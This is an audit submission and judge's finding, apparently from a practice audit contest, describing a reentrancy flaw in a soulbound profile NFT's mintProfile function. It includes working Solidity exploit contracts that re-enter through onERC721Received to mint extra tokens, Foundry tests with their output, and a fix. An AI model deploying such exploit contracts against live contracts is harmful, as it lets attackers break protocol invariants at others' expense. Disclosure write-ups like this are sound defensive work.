DatingDapp
AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Re-entrancy in `mintProfile` via `_safeMint` callback mints multiple tokens to one address

web3mio

Root + Impact

Description

mintProfile mints the token with _safeMint and only then writes profileToToken and _profiles:

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId); // fires onERC721Received callback HERE
​
_profiles[tokenId] = Profile(...); // written AFTER callback
profileToToken[msg.sender] = tokenId; // written AFTER callback
emit ProfileMinted(...);
}

_safeMint calls ERC721Utils.checkOnERC721Received, which invokes onERC721Received on the recipient if it is a contract. At the moment of that callback, profileToToken[msg.sender] is still 0 — the re-entrancy guard has not been set yet. A malicious contract can therefore call mintProfile again from inside onERC721Received, pass the require(profileToToken[msg.sender] == 0) check, and mint a second token to the same address.

After both calls unwind:

  • The attacker owns two tokens (token N and token N+1).

  • profileToToken[attacker] points to token N (the outer call writes last, overwriting the inner call).

  • Token N+1 is a permanent orphan — owned by the attacker but invisible to burnProfile, which only burns profileToToken[msg.sender].

  • Explain the specific issue or problem in one or more sentences

// Root cause in the codebase with @> marks to highlight the relevant section

Impact

The core soulbound invariant — one profile per address — is broken. An attacker holds an unburnable orphan token in perpetuity. The orphan token satisfies ownerOf, so if any future contract queries ERC-721 ownership directly (rather than through profileToToken), it will appear as a valid token. The owner cannot remove the orphan via blockProfile unless they enumerate all token IDs out-of-band.

PoC Result

Test: testPoC_MintProfileReentrancy in test/testReentrancy.t.sol

​
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
​
// Malicious contract that re-enters mintProfile during the onERC721Received callback.
// The guard `require(profileToToken[msg.sender] == 0)` passes on the second call
// because profileToToken is written AFTER _safeMint returns.
contract MaliciousMinter {
SoulboundProfileNFT public nft;
uint256 public reentrancyCount;
​
constructor(address _nft) {
nft = SoulboundProfileNFT(_nft);
}
​
function attack() external {
nft.mintProfile("Attacker", 25, "ipfs://evil");
}
​
// Called by _safeMint -> ERC721Utils.checkOnERC721Received during the first mint
function onERC721Received(address, address, uint256, bytes calldata)
external
returns (bytes4)
{
// Re-enter only once to keep the PoC simple
if (reentrancyCount == 0) {
reentrancyCount++;
nft.mintProfile("Attacker2", 25, "ipfs://evil2");
}
return this.onERC721Received.selector;
}
}
​
contract ReentrancyTest is Test {
SoulboundProfileNFT nft;
MaliciousMinter attacker;
​
function setUp() public {
nft = new SoulboundProfileNFT();
attacker = new MaliciousMinter(address(nft));
}
​
// PoC: one address mints two tokens via re-entrancy.
// - Token 1 is minted in the outer call.
// - Token 2 is minted in the re-entrant inner call during onERC721Received.
// - profileToToken[attacker] ends up pointing to token 1 (outer call writes last).
// - Token 2 becomes an orphan: owned by attacker but invisible to the protocol.
//
// Core invariant broken: one address should hold at most one soulbound token.
function testPoC_MintProfileReentrancy() public {
attacker.attack();
​
uint256 trackedToken = nft.profileToToken(address(attacker));
​
// attacker owns BOTH token 1 and token 2
assertEq(nft.ownerOf(1), address(attacker), "attacker owns token 1");
assertEq(nft.ownerOf(2), address(attacker), "attacker owns token 2 (orphan)");
​
// profileToToken points to token 1 (outer call wrote last, overwrote inner call's write)
assertEq(trackedToken, 1, "profileToToken points to token 1");
​
// token 2 is an orphan: owned by attacker but not tracked in profileToToken
// burnProfile() would only burn token 1 — token 2 can never be burned by the user
assertTrue(
nft.ownerOf(2) == address(attacker) && trackedToken != 2,
"token 2 is an unburnable orphan"
);
}
}
​
[PASS] testPoC_MintProfileReentrancy() (gas: 316,406)
​
Flow:
attacker.attack()
-> mintProfile() outer call
-> _safeMint fires onERC721Received
-> mintProfile() inner call (re-entrant)
profileToToken[attacker] == 0 -> guard passes
token 2 minted, _profiles[2] set, profileToToken[attacker] = 2
<- inner call returns
<- callback returns
_profiles[1] set, profileToToken[attacker] = 1 (overwrites 2)
ownerOf(1) = attacker (tracked)
ownerOf(2) = attacker (orphan — not in profileToToken)
profileToToken[attacker] = 1

Run with: forge test --match-test testPoC_MintProfileReentrancy -vvv

Recommended Mitigation

Apply the Checks-Effects-Interactions pattern: write profileToToken and _profiles before calling _safeMint, or use _mint (non-safe variant) instead, since there is no legitimate reason for contract recipients on a soulbound NFT:

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
​
// Write state before any external call
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
​
_mint(msg.sender, tokenId); // no callback — soulbound tokens have no contract recipients
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!